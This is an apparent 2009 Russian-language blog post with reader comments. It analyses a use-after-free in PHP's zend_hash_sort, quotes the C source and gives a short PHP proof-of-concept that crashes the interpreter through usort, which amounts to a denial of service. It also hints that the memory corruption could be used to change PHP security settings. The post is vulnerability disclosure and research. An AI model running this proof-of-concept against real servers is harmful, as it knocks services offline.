Простой DoS для PHP
Очередная уязвимость в Zend Engine
Копался сегодня во внутренностях PHP, и обнаружил такую вещь: функция zend_hash_sort() (она вызывается из функций типа usort() и прочих) сортирует не сам массив (в терминах Zend Engine), а массив (в терминах языка C) указателей на элементы массива (в терминах Zend Engine), а потом по отсортированному C-массиву пересоздаёт PHP-массив.
- ZEND_API int zend_hash_sort(HashTable *ht, sort_func_t sort_func,
- compare_func_t compar, int renumber TSRMLS_DC)
- {
- Bucket **arTmp;
- Bucket *p;
- int i, j;
- IS_CONSISTENT(ht);
- if (!(ht->nNumOfElements>1) && !(renumber && ht->nNumOfElements>0)) { /* Doesn't require sorting */
- return SUCCESS;
- }
- arTmp = (Bucket **) pemalloc(ht->nNumOfElements * sizeof(Bucket *), ht->persistent);
- if (!arTmp) {
- return FAILURE;
- }
- p = ht->pListHead;
- i = 0;
- while (p) {
- arTmp[i] = p;
- p = p->pListNext;
- i++;
- }
- (*sort_func)((void *) arTmp, i, sizeof(Bucket *), compar TSRMLS_CC);
- HANDLE_BLOCK_INTERRUPTIONS();
- ht->pListHead = arTmp[0];
- ht->pListTail = NULL;
- ht->pInternalPointer = ht->pListHead;
- arTmp[0]->pListLast = NULL;
- if (i > 1) {
- arTmp[0]->pListNext = arTmp[1];
- for (j = 1; j < i-1; j++) {
- arTmp[j]->pListLast = arTmp[j-1];
- arTmp[j]->pListNext = arTmp[j+1];
- }
- arTmp[j]->pListLast = arTmp[j-1];
- arTmp[j]->pListNext = NULL;
- } else {
- arTmp[0]->pListNext = NULL;
- }
- ht->pListTail = arTmp[i-1];
- pefree(arTmp, ht->persistent);
- HANDLE_UNBLOCK_INTERRUPTIONS();
- if (renumber) {
- p = ht->pListHead;
- i=0;
- while (p != NULL) {
- p->nKeyLength = 0;
- p->h = i++;
- p = p->pListNext;
- }
- ht->nNextFreeElement = i;
- zend_hash_rehash(ht);
- }
- return SUCCESS;
- }
Строка 13 (что само по себе символично) создаёт временный массив, достаточный для размещения указателей на все элементы массива, строки 17–23 заполняют этот временный массив указателями на элементы PHP-массива, строка 25 вызывает функцию сортировки, в строках 28–44 PHP-массив «пересоздается».
Что это даёт: если у нас имеется массив строк (массивов, объектов), а наша функция сортировки — о, ужас! — изменяет этот массив (например, удаляет из него элемент), а после сортировки производится обращение к этому элементу, то PHP вылетит по ошибке сегментации. Это является следствием того, что PHP-массив изменяется в процессе сортировки (из него удаляется элемент, а связанная с ним память освобождается), а C-массив содержит указатели на освобождённую память. При обращении к этой освобождённой памяти происходит ошибка сегментации.
Proof of Concept:
function compare($a, $b)
{
global $arr;
if (isset($arr[2])) {
unset($arr[2]);
}
return 0;
}
$arr = array('A', 'B', 'C', 'D', 'E', 'F');
usort($arr, "compare");
print_r($arr);
?>
В зависимости от конфигурации (всякие там Suhosin) может потребоваться увеличить длину строк в массиве, либо агрессивнее обратиться к массиву (например, вызвать sort() сразу после usort()).
Вышеприведённый скрипт успешно устроил 502 Bad Gateway на сервере с Suhosin (да так, что последний даже не пожаловался).
PHP в Ubuntu Karmic (5.2.10.dfsg.1-2ubuntu5) оказался уязвимым, а вот сборка от dotdeb (5.2.11-0.dotdeb.1) — нет (возможно, что ошибка исправлена в 5.2.11, хотя в changelog ничего не видно).
Что даёт уязвимость:
- если администратор криворукий, то можно забить место на диске core dump’ами (5-6 дампов — почти гигабайт, YMMV);
- так как данная уязвимость демонстрирует повреждение памяти, при соответствующем исследовании можно переписать произвольные участки памяти PHP (например, отключить безопасный режим, включить
register_globals, отключитьmagic_quotes_gpcи т.п.).
Окт
2009
Комментарии к статье «Простой DoS для PHP» (3) »
Пожалуйста, не используйте эту форму для комментирования! Данная форма предназначена исключительно для ботов.
Оставить комментарий к записи «Простой DoS для PHP»
गते गते पारगते पारसंगते बोधि स्वाहा
Меня зовут Владимир, я программист-фрилансер, специализирующийся на Web-программировании и програмировании под Linux.
По совместительству занимаюсь администрированием LAMP/LNMP-серверов и техническим переводом.


Ого! В Zend уже отправил?
Преклоняюсь перед мастерством «просматривать» и при этом увидеть.
Оказалось, я не первый. А хотелось. Stefan Esser (он автор Suhosin) нашел эту уязвимость раньше меня.
Его доклад на Blackhat: State of the Art Post Exploitation in Hardened PHP Environments и презентация.
А вообще работа с хэш-таблицами в Zend Engine мне в своё время попортила крови, поэтому и увидел
Вообще удивительно. Я слушал подкаст ZendCast, там был доклад про развитие PHP. В том числе про поиск багов. Так вот они прогоняют массу автоматических тестов и платят большие деньги спец компаниям. Неужели не могли заметить.